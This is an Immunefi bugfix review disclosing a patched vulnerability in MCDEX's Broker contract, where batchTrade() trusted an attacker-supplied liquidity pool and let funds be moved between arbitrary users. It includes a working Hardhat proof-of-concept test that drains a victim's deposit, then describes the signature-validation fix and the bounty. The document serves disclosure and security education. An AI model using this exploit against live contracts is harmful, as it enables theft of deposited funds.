MCDEX Insufficient Validation Bugfix Review

Summary

Whitehat Lucash-dev, who is a member of Immunefi’s Whitehat Scholarship, submitted a critical vulnerability in MCDEX’s broker contract on June 14 that would have allowed a malicious user to drain that contract of ETH. It does not appear as though the vulnerability was ever exploited, and at the time of the report, funds at risk were insubstantial. MCDEX is paying Lucash-dev a bounty of $50,000 and has patched the bug.

Vulnerability Analysis

MCDEX is a decentralized exchange and layer 2 platform that allows users to trade perpetual contracts. MCDEX’s Broker.sol contract has a batchTrade() function that does not validate user input against external data. Rather, the liquidity pool contract, whose address is provided by the caller, is trusted to perform validations on the rest of the data provided. That means a malicious user who called batchTrade() could provide an arbitrary contract that would not perform any sort of validation. Once the arbitrary liquidity pool contract is called, the Broker contract reimburses gas expenses by transferring funds from a user’s balance to a destination address. Both source and destination addresses are passed as arguments to the function and can be freely chosen by the attacker, who can use the call to transfer to themselves funds held by any other user in the Broker contract.

What this means is that a malicious user could steal funds deposited by users on the Broker through calling batchTrade() and supplying an arbitrary liquidity pool contract and the source and destination address.

The result of this attack is a complete loss of all deposited user funds on the Broker contract. However, at the time of the report, the value of funds at risk wasn’t substantial, and the issue was fixed before any malicious actor had a chance to exploit it..

The Proof of Concept is posted below:

it(‘broker — steal’, async () => { /* Deploy malicious liquidity pool. It just doesn't do anything when asked to "brokerTrade" contract MockLiquidityPool {
function brokerTrade(bytes memory orderData, int256 amount) external returns (int256) {
// NOOP
}
}
*/ const lp = await createContract("MockLiquidityPool"); const attacker = user1; const victim = user2; await broker.connect(victim).deposit({value: "1000000000000000000"}); // Let's validate initial balances
expect(await broker.balanceOf(victim.address)).to.equal("1000000000000000000");
expect(await broker.balanceOf(attacker.address)).to.equal("0"); const order = {
trader: victim.address, // trader
broker: broker.address, // broker
relayer: attacker.address, // relayer
liquidityPool: lp.address, // our malicious liquidity pool!
referrer: "0x0000000000000000000000000000000000000000", // referrer
minTradeAmount: "0",
amount: "0",
limitPrice: "0",
triggerPrice: "0",
chainID: 31337,
expiredAt: 0,
perpetualIndex: 0,
brokerFeeLimit: "1000000000",// 1 ether!
flags: 0x00000000,
salt: 0, }; var orderHash = await testOrder.orderHash(order); // const sig = await attacker.signMessage(ethers.utils.arrayify(orderHash)); // We don't care about signatures. It will never be validated. // Just need some data to be there for the compress function.var compressed = await testOrder.compress(order,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],0, 0); // amount doesn't matter, we just tell it we want 1 ether for gas! await broker.batchTrade([compressed], ["0"], ["1000000000000000000"]); // now whole victim's balance went to attacker!
expect(await broker.balanceOf(victim.address)).to.equal("0");
expect(await broker.balanceOf(attacker.address)).to.equal("1000000000000000000"); })

Note: This PoC can be executed by adding it as part of the HardHat test suite contained in the project’s code base.

Vulnerability Fix

MCDEX has deployed a fix, adding to the batchTrade() function a validation of the signature provided by the caller. The fix can be found at the following commit: https://github.com/mcdexio/mai-protocol-v3/commit/ea81ab32e0963501be13cc3710af56751783c1e5

Acknowledgements

We’d like to thank the MCDEX team for their rapid and effective response to the bug report. MCDEX is paying out a bounty of $50,000 to the whitehat. To report additional vulnerabilities, please see MCDEX’s bug bounty program with Immunefi.

If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.

If you’re interested in protecting your project with a bug bounty like MCDEX, visit the Immunefi services page and fill out the form.